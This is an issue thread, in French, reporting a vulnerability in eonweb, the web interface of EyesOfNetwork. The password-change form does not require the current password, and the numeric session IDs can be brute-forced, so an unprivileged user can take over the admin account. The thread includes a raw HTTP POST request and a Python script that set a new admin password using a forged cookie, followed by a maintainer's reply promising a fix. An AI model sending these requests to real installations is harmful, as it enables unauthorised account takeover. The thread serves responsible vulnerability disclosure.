Open ArianeBlow opened 3 years ago
Oh en faite j'ai pas besoin d'être authentifié, suffit de balancer la requête on the wild :
import requests import random
headers = { "POST": "/module/module_password/index.php HTTP/1.1", "Referer": "https://192.168.0.26/module/module_password/index.php", "Accept": "text/html,application/xhtml+xml,application/", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) ", "Accept-Encoding": "gzip, deflate", "Host": "192.168.0.26", "Content-Length": "61", "Connection": "close", "Origin": "https://192.168.0.26",
"Cookie": "session_id=RANDOM; user_name=admin; user_id=1; user_limitation=0; group_id=1"
} data = "user_password1=s3cuR€Pa$$w0rd&user_password2=s3cuR€Pa$$w0rd&update=update" url = "https://192.168.0.26/module/module_password/index.php"
request = requests.post(url, headers=headers, data=data, verify=False)
rep = request print (rep.content)
Bonjour,
Le fait que vous pouviez effectuer ces actions sans mot de passe au préalable est tout à fait normal, ces actions sont protégées par la sessions_id qui sert d'authentification. Sinon tous les modules seraient impactés, il n'y aurait pas que la modification du mot de passe qui le serait.
En revanche, comme vous l'avez dit cette dernière n'est pas suffisamment sécurisé, elle peut de ce fait être brut force. C'est pourquoi une mise à jour va être réalisé dans les temps à venir. Cette mise à jour est en cours de vérification et nécessite la modification de la base de données, elle ne pourra donc être disponible que dans la prochaine version d'eonweb et tous les utilisateurs seront invités à effectué un yum update
au moment de sa sortie.
Merci de l'intérêt que vous portez à eonweb et pour votre contribution
Nous restons disponible pour tout autre question
Bonjour,
Est il possible de purger la table "sessions" via un cron pour qu'il n'y ait plus de session_ID écrient en dur ou il y a t-il quelque chose qui s'appui sur la dessus ? (ca permettrait de blinder la chose avec la modif que vous avez faite). Merci d'avance.
Hello,
Lors d'un audit, j'ai pu modifier le password admin de l'appli a partir d'un compte sans privilège.
Le FORM de modification de mot de passe ne demande pas le MDP actuel, si l'on connait le nom du compte "admin" et qu'on a un accès initial (même sans privilège) à l'application, il devient possible de changer le MDP d'un compte donné car les ID de sessions sont écrient en base, ne comportent que du NUMERIC et contiennent en 9 et 10 caractères (si on a un accès a la base, c'est même très simple, il suffit de prendre le dernier "session_id" de "l'user_id 1" puis d'envoyer la requête POST suivante :
POST /module/module_password/index.php HTTP/1.1 Host: IP du nagios User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://IP_NAGIOS/module/module_password/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 97 Origin: https://IP_NAGIOS DNT: 1 Connection: close Cookie: session_id=ID_DE_SESSION; user_name=USERNAME_a_modifier_selon_les_cas; user_id=1; user_limitation=0; group_id=1 Upgrade-Insecure-Requests: 1
user_password1=NOUVEAU_MDP&user_password2=NOUVEAU_MDP&update=update
Il devient trivial à partir de l'à de brut-forcer l'ID de session avec des strings aléatoire contenants entre 9 et 10 char NUMERIC et de mofidifier le MDP à sa guise.
(testé sur eon 5.3 / mariaDB: 5.5.65)